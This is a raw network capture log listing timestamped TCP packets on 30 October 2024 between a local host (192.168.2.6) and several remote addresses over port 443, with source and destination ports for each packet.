Oct 30, 2024 15:59:17.525912046 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.525916100 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.529813051 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.530199051 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.530210972 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.530615091 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.530621052 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.601181030 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.601257086 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.601504087 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.601600885 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.601608038 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.601686954 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.601691961 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.605261087 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.605278015 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.605453968 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.605650902 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.605664968 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.656147957 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.656306028 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.656549931 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.656549931 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.656580925 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.656585932 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.659851074 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.659909010 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.660600901 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.660886049 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.660918951 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.701236963 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.701544046 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.701674938 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.701862097 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.701879025 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.701889038 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.701894999 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.704817057 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.704827070 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.704900026 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.705073118 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.705085993 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.742989063 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:17.743083000 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:17.744925022 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:17.744930983 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:17.745184898 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:17.775106907 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.775329113 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:17.775338888 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.776912928 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.777093887 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:17.777957916 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:17.778079033 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.778243065 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:17.789566040 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:17.819334030 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.822757006 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:17.822762966 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.835329056 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:17.869626999 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:17.914096117 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:17.914153099 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:17.914359093 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:17.914552927 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:17.914566040 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.024187088 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.024240971 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.024266958 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.024307013 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.024307013 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.024317980 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.024364948 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.024940014 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.025631905 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.025652885 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.032890081 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.032975912 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.032984018 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.039232969 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.039326906 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.039396048 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.039566994 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.039580107 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.039599895 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.039604902 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.077146053 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.077168941 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.077496052 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.077869892 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.077882051 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.088094950 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.088102102 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.135004044 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.141546965 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.141614914 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.141752005 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.141758919 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.144591093 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.144644976 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.144653082 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.148950100 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.149008989 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.149017096 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.157847881 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.157918930 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.157927036 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.213052034 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.213062048 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.258860111 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.259921074 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.259931087 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.260184050 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.261941910 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.265233994 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.265297890 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.265305996 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.268512964 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.268562078 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.268569946 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.275214911 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.275281906 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.275289059 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.316663027 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.316759109 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.316766977 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.340869904 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.341428041 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.341439962 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.343215942 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.343221903 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.369282961 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.376442909 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.377686977 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.377742052 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.377753019 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.379251003 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.379297018 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.379306078 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.383795023 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.383878946 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.383887053 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.392303944 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.392375946 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.392384052 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.406766891 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.407469034 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.407522917 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.408047915 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.408062935 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.434000969 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.434046984 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.434103012 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.434111118 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.434158087 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.453315020 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.454336882 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.454356909 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.454848051 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.454859018 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.471586943 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.471652031 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.471719027 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.471910954 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.471920967 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.471956968 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.471962929 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.475167990 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.475182056 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.475254059 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.475446939 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.475461006 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.493671894 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.496503115 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.496584892 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.496593952 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.500089884 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.500159979 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.500169992 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.503557920 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.503654957 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.503662109 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.509732008 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.509782076 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.509788990 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.539041042 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.539192915 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.539297104 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.541176081 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.541177034 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.541214943 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.541241884 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.545339108 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.545386076 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.545506001 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.545654058 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.545685053 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.551378012 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.551459074 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.551471949 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.584638119 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.584729910 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.585005999 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.585047960 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.585057020 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.585067987 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.585072994 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.588196039 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.588216066 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.588294983 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.588789940 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:18.588803053 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:18.604054928 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.604063034 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.612418890 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.612458944 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.612485886 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.612493038 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.612632990 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.617374897 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.618334055 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.618370056 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.618391037 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.618398905 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.618452072 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.626915932 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.667627096 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.667721987 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.667731047 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.668766022 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.668829918 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.668838024 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.713443995 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.729604959 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.734852076 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.734918118 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.734925985 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.735861063 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.735953093 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.735956907 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.735982895 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.736071110 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.736078024 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.744275093 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.744324923 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.744338036 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.744345903 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.744410038 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.774403095 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.774660110 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.774682999 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.775058985 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.775130987 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.775866032 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.775959969 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.777124882 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.777189970 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.777291059 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.777298927 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.777312040 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.786101103 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.786314964 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.786375046 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.786384106 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.819334030 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:18.822843075 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:18.838433027 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.838440895 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.847178936 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.847238064 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.847244978 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.851948023 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.852046013 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.852052927 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.853836060 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.853873014 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.853890896 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.853892088 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.853900909 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.853945017 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.854060888 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.854101896 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.854155064 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.854264021 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.856051922 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:18.856065035 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:18.917762995 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.917823076 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.919406891 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.919415951 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.919657946 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:18.924645901 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:18.967369080 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:19.060713053 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:19.104057074 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:19.104083061 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:19.105917931 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:19.105994940 CET	443	49792	142.250.186.174	192.168.2.6
Oct 30, 2024 15:59:19.106074095 CET	49792	443	192.168.2.6	142.250.186.174
Oct 30, 2024 15:59:19.167444944 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:19.167511940 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:19.167845011 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:19.176970959 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:19.176991940 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:19.177002907 CET	49796	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:19.177009106 CET	443	49796	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:19.276977062 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.277576923 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.277652025 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.279623032 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.279639959 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.321993113 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.322622061 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.322634935 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.323282003 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.323287964 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.331806898 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.332212925 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.332231998 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.332668066 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.332675934 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.406754971 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.407071114 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.407330990 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.407393932 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.407393932 CET	49798	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.407430887 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.407458067 CET	443	49798	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.410655975 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.410744905 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.410845041 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.411029100 CET	49800	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.411067963 CET	443	49800	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.452481985 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.452552080 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.452625990 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.452924013 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.452935934 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:19.452944994 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:19.452950001 CET	443	49799	13.107.246.45	192.168.2.6
